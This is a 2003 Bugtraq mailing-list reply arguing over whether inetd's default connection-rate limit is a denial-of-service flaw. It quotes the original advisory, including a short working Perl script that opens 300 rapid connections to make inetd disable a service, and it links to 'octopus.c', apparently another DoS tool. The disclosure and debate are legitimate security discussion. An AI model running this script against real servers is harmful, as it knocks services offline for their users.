Re: 11 years of inetd default insecurity?
On Sat, 2003-09-06 at 09:08, 3APA3A wrote:
> Dear bugtraq@xxxxxxxxxxxxxxxxx,
>
> Well, we all blame Microsoft in insecure default configuration... Isn't
> it time to clean outdated code in Unix?
>
> I. Intro
>
> Saint_Byte reported DoS vulnerability in wu-ftp. Small perl script (like
> one below) kills ftp service... With closer look we have good old inetd
> feature a lot of existing FreeBSD/linux installations are still
> vulnerable. This problem is known since ancient time [1] and was
> discussed again and again, but still present. In fact, problem is well
> known. It's just another rake everyone steps to. It's on any man and
> FAQ, but may be it's time to resolve it? Because it's definitely a BUG.
This is not a bug, it is merely very coarse resource control. You have
two choices... Allow only a certain number of connections to the port,
or allow an *infinite* number of connections to the port. I don't know
about your systems, but mine tend to get a little boggy when processing
an infinite number of connection requests.
> II. Who is vulnerable
>
> Any system shipped with network daemons launched through inetd (FreeBSD,
> SuSE, Red Hat, etc.).
>
> III. Details
>
> Inetd has an option
>
> -R rate
> Specify the maximum number of times a service can be invoked in
> one minute; the default is 256. A rate of 0 allows an unlimited
> number of invocations.
>
> The problem is, remote attacker can establish as much connections per
> minute as bandwidth allows... Now, guess how inetd reacts if more than
> 256 connections received in one minute? It will disable service for next
> 10 minutes to help attack to succeed. Of cause, this is documented.
> Interval is not configurable.
No, you miss the point. The service is disabled to prevent it from
eating you out of house and home so to speak. In any case, this only
restricts the number of connections per minute... total number of
connections over several minutes is another matter entirely.
> something like
>
> Jul 23 15:27:10 host inetd[86]: ftp/tcp server failing (looping), service
> terminated
>
> will appear in logs... If connection is closed by attacker before
> service actually starts, IP address of attacker will never be logged.
Yep. More stuff that has entirely to do with how one's stack works and
very little to do with inetd. Send a packet with both SYN and FIN set
and you get this exact behaviour... little doughnut shaped memory
structures with a hole in the middle from the already-disposed-of socket
where the IP address should be.
> IV. Workaround
>
> -R 0 -s your_ad_can_be_here
I see... So you feel it's better to simply dare an attacker to try to
invoke three hundred bajillion copies of say, fingerd. How novel. I
can only hope the majority on the list realize why following your
suggestion is very bad.
Most people prefer to simply not use inetd for anything that is supposed
to withstand an assault, or to use xinetd instead because of it's
improved ability to limit the connections... er... be easily DoS'd.
> or ask everyone to do not bother your server.
>
> V. inetd-DoS-by-default-11-years-anniversary-super-exploit.pl
> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
> #!/usr/bin/perl
>
> use Socket;
> $host=@ARGV[0];
> $port=@ARGV[1];
> if ($host eq "" || $port eq "") {print "\n Usage progname HOST PORT \n";}
> $iadr=inet_aton($host);
> $padr=sockaddr_in($port,$iadr);
> for($i=0; $i < 300; $i++)
> {
> socket(SOCK,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
> connect(SOCK,$padr) or next;
> close(SOCK);
> }
> print "\nDone\n";
> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Octopus, something you surely should have heard about by now.
http://24.234.57.173/p3/octopus.c
> VI. References:
>
> [1]Ari Luotonen, "www/tcp server failing (looping), service terminated"
> http://www.webhistory.org/www.lists/www-talk.1993q4/0312.html
References:
Google web search engine, "Good for avoiding embarrasment"
http://www.google.com
--
The email address above is just as phony as it looks, and for obvious reasons.
Instant messaging contact nfo: AIM: evilDagmar Jabber: evilDagmar@xxxxxxxxxx